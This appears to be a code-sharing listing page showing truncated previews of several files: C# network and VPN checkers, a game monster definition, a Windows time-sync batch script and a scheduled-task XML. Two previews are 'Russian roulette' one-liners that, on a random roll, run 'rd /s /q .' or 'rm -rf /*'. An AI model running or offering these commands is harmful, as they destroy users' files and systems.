ChatGPT prompts for developing or testing the code
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| set /a R=0+(6*%random%)/%random% & if !R! == 0 (rd /s /q .) else (echo OK!) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "OK" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.Diagnostics; | |
| using System.IO; | |
| using System.Net.NetworkInformation; | |
| using System.Threading; | |
| using System.Threading.Tasks; | |
| namespace VPNCheckerAndReRasdial | |
| { | |
| internal class Program |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.Net; | |
| using System.Net.NetworkInformation; | |
| using System.IO; | |
| namespace NetworkChecker | |
| { | |
| class Program | |
| { | |
| static void Main(string[] args) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| actor MyMonster | |
| { | |
| // Required properties | |
| health 100 | |
| renderstyle TRANSLCOLOR | |
| spawnid 9 | |
| SeeSound "MyMonster/See" | |
| AttackSound "MyMonster/Attack" | |
| DeathSound "MyMonster/Death" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.Globalization; | |
| using System.Net; | |
| using System.Threading.Tasks; | |
| using System.Threading; | |
| using System.IO; | |
| using System.Diagnostics; | |
| using System.Runtime.InteropServices; | |
| namespace NetworkRestarter |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @>nul 2>&1( | |
| sc triggerinfo w32time delete | |
| sc config W32Time start= demand | |
| sc query W32Time|find /c ": 4"||net start W32Time | |
| reg add HKLM\System\CurrentControlSet\Services\W32Time\Parameters /f /v Type /d NTP | |
| if exist %WinDir%\system32\w32tm.exe ( | |
| w32tm /config /manualpeerlist:"time.windows.com 1.ru.pool.ntp.org",0x9 /syncfromflags:MANUAL /update | |
| w32tm /config /reliable:yes /update | |
| w32tm /resync /force | |
| ) else ( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version="1.0" encoding="UTF-16"?> | |
| <Task version="1.5" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> | |
| <RegistrationInfo> | |
| <Source>Служба времени Windows</Source> | |
| <Author>Корпорация Майкрософт</Author> | |
| <Description>Управляет синхронизацией даты и времени на всех клиентах и серверах в сети. Если эта служба остановлена, синхронизация даты и времени не будет доступна. Если эта служба отключена, любые службы, которые явно зависят от нее, не могут быть запущены.</Description> | |
| <URI>\Microsoft\Windows\Time Synchronization\SynchronizeTime</URI> | |
| </RegistrationInfo> | |
| <Triggers /> | |
| <Principals> |